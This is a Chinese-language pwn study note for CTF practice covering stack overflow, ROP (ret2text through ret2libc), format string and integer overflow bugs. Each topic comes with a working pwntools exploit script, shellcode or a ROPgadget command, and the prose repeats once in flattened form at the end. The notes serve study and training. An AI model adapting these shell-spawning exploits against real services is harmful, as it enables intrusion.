二进制漏洞学习笔记 - PWN篇
字数 1352 2025-08-29 08:31:53

二进制漏洞学习笔记 - PWN篇

栈溢出漏洞

原理

栈是一种后进先出的数据结构。在调用函数时,会伴随函数栈帧的开辟和还原(平栈)。栈空间从高地址向低地址增长。当函数中使用数组作为局部变量时,数组赋值方向是从低地址到高地址,与栈增长方向相反。如果未限制数组赋值边界,可能造成栈溢出漏洞。

常见易导致栈溢出的函数:scanf, gets, strcpy, strcat, sprintf等。

ROP技术

ROP(Return-oriented programming)是指面向返回编程。在32位系统中,ret相当于pop EIP,将栈顶数据赋值给EIP并从栈弹出。由于NX保护阻止直接执行栈上的shellcode,可以通过ROP技术在可执行段中执行shellcode。

初级ROP技术包括:

  1. ret2text
  2. ret2shellcode
  3. ret2syscall
  4. ret2libc

ret2text

返回到代码段执行已有代码。例如程序中已有system("/bin/sh")system("cat flag")时,只需将这些调用地址覆盖到返回地址处。

示例(攻防世界level0):

from pwn import *
r = remote("111.200.241.244", 57216)
payload = 'A'*136 + p64(0x00400596)
r.sendlineafter("Hello, World\n", payload)
r.interactive()

ret2shellcode

在没有NX保护时,可以直接将返回地址覆盖为shellcode地址。shellcode通常调用sys_execve执行/bin/sh

示例:

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A"*0xd8 + p64(jmp_esp) + shellcode
p.sendline(payload)
p.interactive()

ret2syscall

当开启NX保护时,可以使用ret2syscall方法,通过收集带有ret指令的gadgets拼接成所需shellcode。

32位调用execve("/bin/sh",NULL,NULL)的shellcode:

push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 11
pop eax
int 0x80

使用ROPgadget查找对应gadgets:

ROPgadget --binary ./ret2syscall --string /bin/sh
ROPgadget --binary ./ret2syscall --only "pop|pop|pop|ret" | grep "edx" | grep "ebx" | grep "ecx"
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep eax
ROPgadget --binary ./ret2syscall --only "int" | grep "0x80"

示例EXP:

from pwn import *
p = process("./ret2syscall")
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
offset = 112
payload = flat(['a'*offset, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh, int_0x80])
p.sendline(payload)
p.interactive()

ret2libc

当程序没有后门、开启NX保护且没有足够gadgets时,可以使用ret2libc技术。通过泄露libc函数地址,计算libc基址,进而调用libc中的函数。

获取libc基址方法:从程序GOT表获取函数实时地址,减去libc中函数偏移。

示例(攻防世界pwn-100):

from pwn import *
from LibcSearcher import *
p = remote("111.200.241.244", "64745")
elf = ELF('/mnt/hgfs/pwn-100')
context.log_level = 'debug'
addr_pop_rdi = 0x400763
addr_main = 0x4006B8

# 第一次泄露read的got地址
payload = 'A'*72 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'A'*96
p.send(payload)
p.recvuntil('\x0a')
addr_read = p.recv()[:-1]
addr_read = u64(addr_read.ljust(8, '\x00'))

# 获取libc版本并计算system地址
libc = LibcSearcher('read', addr_read)
addr_base = addr_read - libc.dump('read')
addr_sys = addr_base + libc.dump('system')
addr_sh = addr_base + libc.dump('str_bin_sh')

# 第二次利用
payload = 'A'*72 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'A'*96
p.send(payload)
p.interactive()

格式化字符串漏洞

原理

格式化字符串函数如printf、fprintf、sprintf等,当直接使用用户输入作为格式化字符串时,可能导致信息泄露或内存修改。

利用1:泄露信息

通过构造特定格式化字符串可以泄露栈上信息,如%x%x%x%x%x%x可以获取栈数据。

示例(攻防世界Mary_Morton):

from pwn import *
p = remote("111.200.241.244", 51032)
p.sendlineafter("3. Exit the battle", '2')
payload1 = '%23$p'
p.sendline(payload1)
p.recvuntil('0x')
canary = int(p.recv()[:16], 16)
print "output: " + str(canary)

canary_offset = 0x88
ret_offset = 0x98
get_flag_fun = 0x00000000004008DA
payload2 = canary_offset*'a' + p64(canary) + (ret_offset - canary_offset - 8)*'a' + p64(get_flag_fun)
p.sendlineafter("3. Exit the battle", "1")
p.sendline(payload2)
p.interactive()

利用2:修改内存

通过格式化字符串可以修改指定内存地址的值。

示例(攻防世界实时数据检测):

from pwn import *
p = remote("111.200.241.244", 48715)
key_addr = 0x0804A048
payload = '%35795746x%16$n\x00' + p32(0x0804A048)
p.sendline(payload)
p.interactive()

整数溢出漏洞

原理

整数溢出发生在算术运算试图创建超出可用位数表示范围的数值时。分为:

  1. 有符号整数溢出
  2. 无符号整数回绕
  3. 截断(不当类型转换)

利用

示例(攻防世界int_overflow):

from pwn import *
p = remote('111.200.241.244', 52212)
p.sendlineafter("choice:", '1')
p.sendlineafter("username:", "bbb")
system_addr = 0x8048699
cat_flag = 0x08048960
payload = 'a'*24 + p32(system_addr) + p32(cat_flag) + p32(0xbbbbbbbb) + 'a'*(0x104 - 24 - 4*2)
p.sendlineafter("passwd:", payload)
p.interactive()

参考资料

  1. 《CTF竞赛权威指南》, 杨超
  2. 看雪课程:《零基础入门pwn》
  3. https://github.com/ctf-wiki
  4. https://ctf-wiki.org/pwn/linux/user-mode/environment/
  5. https://cs155.stanford.edu/papers/formatstring-1.2.pdf
二进制漏洞学习笔记 - PWN篇 栈溢出漏洞 原理 栈是一种后进先出的数据结构。在调用函数时,会伴随函数栈帧的开辟和还原(平栈)。栈空间从高地址向低地址增长。当函数中使用数组作为局部变量时,数组赋值方向是从低地址到高地址,与栈增长方向相反。如果未限制数组赋值边界,可能造成栈溢出漏洞。 常见易导致栈溢出的函数:scanf, gets, strcpy, strcat, sprintf等。 ROP技术 ROP(Return-oriented programming)是指面向返回编程。在32位系统中,ret相当于pop EIP,将栈顶数据赋值给EIP并从栈弹出。由于NX保护阻止直接执行栈上的shellcode,可以通过ROP技术在可执行段中执行shellcode。 初级ROP技术包括: ret2text ret2shellcode ret2syscall ret2libc ret2text 返回到代码段执行已有代码。例如程序中已有 system("/bin/sh") 或 system("cat flag") 时,只需将这些调用地址覆盖到返回地址处。 示例(攻防世界level0): ret2shellcode 在没有NX保护时,可以直接将返回地址覆盖为shellcode地址。shellcode通常调用 sys_execve 执行 /bin/sh 。 示例: ret2syscall 当开启NX保护时,可以使用ret2syscall方法,通过收集带有ret指令的gadgets拼接成所需shellcode。 32位调用 execve("/bin/sh",NULL,NULL) 的shellcode: 使用ROPgadget查找对应gadgets: 示例EXP: ret2libc 当程序没有后门、开启NX保护且没有足够gadgets时,可以使用ret2libc技术。通过泄露libc函数地址,计算libc基址,进而调用libc中的函数。 获取libc基址方法:从程序GOT表获取函数实时地址,减去libc中函数偏移。 示例(攻防世界pwn-100): 格式化字符串漏洞 原理 格式化字符串函数如printf、fprintf、sprintf等,当直接使用用户输入作为格式化字符串时,可能导致信息泄露或内存修改。 利用1:泄露信息 通过构造特定格式化字符串可以泄露栈上信息,如 %x%x%x%x%x%x 可以获取栈数据。 示例(攻防世界Mary_ Morton): 利用2:修改内存 通过格式化字符串可以修改指定内存地址的值。 示例(攻防世界实时数据检测): 整数溢出漏洞 原理 整数溢出发生在算术运算试图创建超出可用位数表示范围的数值时。分为: 有符号整数溢出 无符号整数回绕 截断(不当类型转换) 利用 示例(攻防世界int_ overflow): 参考资料 《CTF竞赛权威指南》, 杨超 看雪课程:《零基础入门pwn》 https://github.com/ctf-wiki https://ctf-wiki.org/pwn/linux/user-mode/environment/ https://cs155.stanford.edu/papers/formatstring-1.2.pdf